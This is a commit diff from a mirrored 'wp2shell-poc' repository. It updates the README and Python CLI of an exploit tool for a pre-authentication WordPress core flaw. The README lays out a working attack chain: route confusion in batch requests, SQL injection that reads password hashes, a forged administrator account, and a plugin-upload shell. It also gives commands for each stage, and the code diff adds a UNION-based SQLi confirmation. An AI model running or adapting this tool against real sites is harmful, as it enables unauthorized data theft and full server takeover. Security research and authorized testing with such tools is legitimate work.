mirror of
https://github.com/Icex0/wp2shell-poc
synced 2026-07-18 19:05:08 +00:00
Added union sqli to confirm-sqli check
This commit is contained in:
@@ -43,7 +43,7 @@ The PoC nests the primitive twice:
|
|||||||
`author__not_in` query var, which the vulnerable build interpolates into SQL as a string.
|
`author__not_in` query var, which the vulnerable build interpolates into SQL as a string.
|
||||||
|
|
||||||
The result is a boolean- and time-based blind SQL injection reachable pre-authentication. This PoC
|
The result is a boolean- and time-based blind SQL injection reachable pre-authentication. This PoC
|
||||||
also includes the stronger UNION fake-post primitive used by the SQLi-to-admin chain.
|
also includes the UNION fake-post primitive used by the SQLi-to-admin chain.
|
||||||
|
|
||||||
The RCE path implemented here is:
|
The RCE path implemented here is:
|
||||||
|
|
||||||
@@ -53,10 +53,10 @@ The RCE path implemented here is:
|
|||||||
4. In one poisoned batch request, recast those IDs as a customizer changeset, navigation item, and
|
4. In one poisoned batch request, recast those IDs as a customizer changeset, navigation item, and
|
||||||
request hook shape.
|
request hook shape.
|
||||||
5. Let the same request reach `POST /wp/v2/users`, creating a generated administrator.
|
5. Let the same request reach `POST /wp/v2/users`, creating a generated administrator.
|
||||||
6. Log in as that generated administrator and use normal plugin upload behavior to run a command.
|
6. Log in as that generated administrator and use plugin upload behavior to run a command.
|
||||||
|
|
||||||
The last command-execution step is ordinary authenticated administrator plugin upload. The
|
The command-execution step is authenticated administrator plugin upload. The pre-authentication
|
||||||
pre-authentication part is the admin creation bridge.
|
part is the admin creation bridge.
|
||||||
|
|
||||||
## Requirements
|
## Requirements
|
||||||
|
|
||||||
@@ -72,7 +72,7 @@ Run it from the repository directory:
|
|||||||
|
|
||||||
Or `pip install .` to get a `wp2shell` command on your `PATH`.
|
Or `pip install .` to get a `wp2shell` command on your `PATH`.
|
||||||
|
|
||||||
### check — confirm the vulnerability (safe)
|
### check — non-destructive vulnerability check
|
||||||
|
|
||||||
Prints passive WordPress markers and public version hints first, then sends a benign batch marker
|
Prints passive WordPress markers and public version hints first, then sends a benign batch marker
|
||||||
probe. A vulnerable batch implementation returns HTTP 207 with the route-confusion marker pattern
|
probe. A vulnerable batch implementation returns HTTP 207 with the route-confusion marker pattern
|
||||||
@@ -86,20 +86,20 @@ the parse error shifts the batch handler arrays out of step, so the spacer reque
|
|||||||
under the block-renderer handler. Fixed builds keep the arrays aligned, so this exact all-three
|
under the block-renderer handler. Fixed builds keep the arrays aligned, so this exact all-three
|
||||||
pattern should not appear for the crafted probe.
|
pattern should not appear for the crafted probe.
|
||||||
|
|
||||||
By default, `check` stops there and does not send a SQL timing payload. Use `--confirm-sqli` when
|
By default, `check` stops there and does not send an SQLi payload. Use `--confirm-sqli` when you
|
||||||
you also want the active paired timing confirmation. The timing step reads no data and changes
|
also want an active SQLi confirmation. The confirmation tries the UNION read primitive first and
|
||||||
nothing; it sends three baseline/delayed pairs by default and decides on the median delta.
|
falls back to paired timing probes if UNION reflection is unavailable.
|
||||||
|
|
||||||
Treat the signals separately: an affected public version is strong triage evidence, the batch
|
Treat the signals separately: a public version hint is only a hint, the batch marker pattern checks
|
||||||
marker pattern confirms the vulnerable route-confusion behavior, and timing confirmation proves the
|
for the route-confusion behavior, and `--confirm-sqli` checks whether an SQL payload reached the
|
||||||
SQLi path reached the database. A WAF or edge rule can block the timing payload, so a failed timing
|
database. A WAF or edge rule can block the active SQLi payload, so a failed SQLi confirmation does
|
||||||
check does not override a positive marker probe.
|
not necessarily mean the route-confusion bug is absent.
|
||||||
|
|
||||||
```
|
```
|
||||||
./wp2shell.py check http://target
|
./wp2shell.py check http://target
|
||||||
```
|
```
|
||||||
|
|
||||||
### read — extract data (blind SQL injection)
|
### read — extract data through SQL injection
|
||||||
|
|
||||||
```
|
```
|
||||||
./wp2shell.py read http://target # server fingerprint
|
./wp2shell.py read http://target # server fingerprint
|
||||||
@@ -107,9 +107,9 @@ check does not override a positive marker probe.
|
|||||||
./wp2shell.py read http://target --query "SELECT @@version"
|
./wp2shell.py read http://target --query "SELECT @@version"
|
||||||
```
|
```
|
||||||
|
|
||||||
By default extraction is `--technique auto`, which picks the fastest in-band method that works:
|
By default extraction is `--technique auto`, which tries the available methods in this order:
|
||||||
|
|
||||||
1. **union** — forges a fake `WP_Post` row and reads its reflected title: **one request per value**.
|
1. **union** — forges a fake `WP_Post` row and reads its reflected title.
|
||||||
The source request targets the single-post item route (`/wp/v2/posts/999999`), so the
|
The source request targets the single-post item route (`/wp/v2/posts/999999`), so the
|
||||||
collection-only params `author_exclude`, `orderby` and `per_page` ride through unchecked; the
|
collection-only params `author_exclude`, `orderby` and `per_page` ride through unchecked; the
|
||||||
inner desync dispatches it under the posts *collection* handler, where `orderby=none` removes the
|
inner desync dispatches it under the posts *collection* handler, where `orderby=none` removes the
|
||||||
@@ -120,17 +120,13 @@ By default extraction is `--technique auto`, which picks the fastest in-band met
|
|||||||
MySQL errors (e.g. `WP_DEBUG_DISPLAY` on).
|
MySQL errors (e.g. `WP_DEBUG_DISPLAY` on).
|
||||||
3. **blind** — boolean/timing binary search, ~8 requests per character; works with no reflection.
|
3. **blind** — boolean/timing binary search, ~8 requests per character; works with no reflection.
|
||||||
|
|
||||||
Force one with `--technique union|error|blind`. All three are strictly **read only**. The union
|
Force one with `--technique union|error|blind`. These read paths do not write database rows. The
|
||||||
path also demonstrates fake-`WP_Post` object-cache poisoning: the forged row is added to the `posts`
|
union path adds the forged row to the `posts` cache for the rest of the request.
|
||||||
cache for the rest of the request, and its `post_content` blocks render through REST (which enables
|
|
||||||
unauthenticated SSRF via RSS/oEmbed blocks). A full password hash is ~2 requests with `union`, ~7
|
|
||||||
with `error`, versus ~490 blind.
|
|
||||||
|
|
||||||
### shell — command execution
|
### shell — command execution
|
||||||
|
|
||||||
With `--user` and `--password`, `shell` logs in with supplied administrator credentials and uses
|
With `--user` and `--password`, `shell` logs in with supplied administrator credentials and uses
|
||||||
normal WordPress plugin upload behavior. This mode would work the same way on a patched site where
|
WordPress plugin upload behavior.
|
||||||
those credentials are valid.
|
|
||||||
|
|
||||||
Without credentials, `shell` first runs the pre-auth SQLi-to-admin bridge, logs in as the generated
|
Without credentials, `shell` first runs the pre-auth SQLi-to-admin bridge, logs in as the generated
|
||||||
administrator, then uploads the plugin shell.
|
administrator, then uploads the plugin shell.
|
||||||
@@ -153,9 +149,9 @@ administrator, that generated account is removed automatically after the shell s
|
|||||||
| `--rest-route` | check, read | Use `/?rest_route=/batch/v1` (for sites without pretty permalinks). |
|
| `--rest-route` | check, read | Use `/?rest_route=/batch/v1` (for sites without pretty permalinks). |
|
||||||
| `--proxy URL` | all | Route traffic through an HTTP proxy (for example, Burp). |
|
| `--proxy URL` | all | Route traffic through an HTTP proxy (for example, Burp). |
|
||||||
| `--timeout N` | all | Request timeout in seconds. |
|
| `--timeout N` | all | Request timeout in seconds. |
|
||||||
| `--sleep N` | check | Delay used with `--confirm-sqli`. |
|
| `--sleep N` | check | Delay used by the timing fallback for `--confirm-sqli`. |
|
||||||
| `--samples N` | check | Timing pairs used with `--confirm-sqli` (default 3). |
|
| `--samples N` | check | Timing pairs used by the timing fallback for `--confirm-sqli`. |
|
||||||
| `--confirm-sqli` | check | Also send the active SQL timing confirmation payload. |
|
| `--confirm-sqli` | check | Also send an active SQLi confirmation payload. |
|
||||||
| `--preset` | read | `fingerprint` or `users`. |
|
| `--preset` | read | `fingerprint` or `users`. |
|
||||||
| `--technique` | read | `auto` (default), `union` (in-band, forges a fake post), `error` (in-band, needs visible DB errors), or `blind`. |
|
| `--technique` | read | `auto` (default), `union` (in-band, forges a fake post), `error` (in-band, needs visible DB errors), or `blind`. |
|
||||||
| `--query` | read | A scalar SQL expression to read. |
|
| `--query` | read | A scalar SQL expression to read. |
|
||||||
@@ -181,3 +177,4 @@ written permission to test. No warranty is provided and no liability is accepted
|
|||||||
|
|
||||||
- WordPress 7.0.2 release announcement — <https://wordpress.org/news/2026/07/wordpress-7-0-2-release/>
|
- WordPress 7.0.2 release announcement — <https://wordpress.org/news/2026/07/wordpress-7-0-2-release/>
|
||||||
- Searchlight Cyber wp2shell advisory — <https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/>
|
- Searchlight Cyber wp2shell advisory — <https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/>
|
||||||
|
- sergiointel/wp2shell-poc SQLi-to-admin bridge — <https://github.com/sergiointel/wp2shell-poc>
|
||||||
|
|||||||
+12
-5
@@ -87,10 +87,11 @@ def _print_version_hints(client: BatchClient) -> tuple:
|
|||||||
|
|
||||||
info("Public WordPress version hints:")
|
info("Public WordPress version hints:")
|
||||||
for hint in hints:
|
for hint in hints:
|
||||||
print(
|
line = (
|
||||||
f" - {hint.version} via {hint.source} "
|
f" - {hint.version} via {hint.source} "
|
||||||
f"({version_status(hint.version)}) - {_short(hint.detail)}"
|
f"({version_status(hint.version)}) - {_short(hint.detail)}"
|
||||||
)
|
)
|
||||||
|
print(_paint("33", line) if hint.affected else _paint("32", line))
|
||||||
if any(hint.affected for hint in hints):
|
if any(hint.affected for hint in hints):
|
||||||
warn("A public version hint falls in the wp2shell affected range; verify internally or confirm with authorization.")
|
warn("A public version hint falls in the wp2shell affected range; verify internally or confirm with authorization.")
|
||||||
return hints
|
return hints
|
||||||
@@ -124,7 +125,7 @@ def cmd_check(args: argparse.Namespace) -> int:
|
|||||||
if route_confusion:
|
if route_confusion:
|
||||||
good("VULNERABLE — batch route-confusion behavior detected.")
|
good("VULNERABLE — batch route-confusion behavior detected.")
|
||||||
if not args.confirm_sqli:
|
if not args.confirm_sqli:
|
||||||
info("SQL timing confirmation not sent; use --confirm-sqli for the active SQLi probe.")
|
info("SQLi confirmation not sent; use --confirm-sqli for the active SQLi probe.")
|
||||||
return 0
|
return 0
|
||||||
elif not args.confirm_sqli:
|
elif not args.confirm_sqli:
|
||||||
bad("Route-confusion marker pattern not detected.")
|
bad("Route-confusion marker pattern not detected.")
|
||||||
@@ -132,6 +133,12 @@ def cmd_check(args: argparse.Namespace) -> int:
|
|||||||
warn("Version suggests exposure, but the batch marker probe did not show vulnerable behavior.")
|
warn("Version suggests exposure, but the batch marker probe did not show vulnerable behavior.")
|
||||||
return 2
|
return 2
|
||||||
|
|
||||||
|
union = UnionSQLi(client)
|
||||||
|
if union.available():
|
||||||
|
good("SQLi confirmed — UNION fake-post read returned data.")
|
||||||
|
return 0
|
||||||
|
info("UNION SQLi confirmation unavailable; falling back to timing confirmation.")
|
||||||
|
|
||||||
result = BlindSQLi(client, sleep=args.sleep).confirm_timing(samples=args.samples)
|
result = BlindSQLi(client, sleep=args.sleep).confirm_timing(samples=args.samples)
|
||||||
if args.samples > 1:
|
if args.samples > 1:
|
||||||
details = ", ".join(
|
details = ", ".join(
|
||||||
@@ -372,18 +379,18 @@ def build_parser() -> argparse.ArgumentParser:
|
|||||||
"--sleep",
|
"--sleep",
|
||||||
type=float,
|
type=float,
|
||||||
default=3.0,
|
default=3.0,
|
||||||
help="SQL timing delay used with --confirm-sqli (default: 3)",
|
help="SQL timing delay used by the --confirm-sqli fallback (default: 3)",
|
||||||
)
|
)
|
||||||
check.add_argument(
|
check.add_argument(
|
||||||
"--samples",
|
"--samples",
|
||||||
type=int,
|
type=int,
|
||||||
default=3,
|
default=3,
|
||||||
help="baseline/delayed SQL timing pairs used with --confirm-sqli (default: 3)",
|
help="baseline/delayed SQL timing pairs used by the --confirm-sqli fallback (default: 3)",
|
||||||
)
|
)
|
||||||
check.add_argument(
|
check.add_argument(
|
||||||
"--confirm-sqli",
|
"--confirm-sqli",
|
||||||
action="store_true",
|
action="store_true",
|
||||||
help="also send the active SQL timing confirmation payload",
|
help="also send an active SQLi confirmation payload",
|
||||||
)
|
)
|
||||||
check.set_defaults(func=cmd_check)
|
check.set_defaults(func=cmd_check)
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user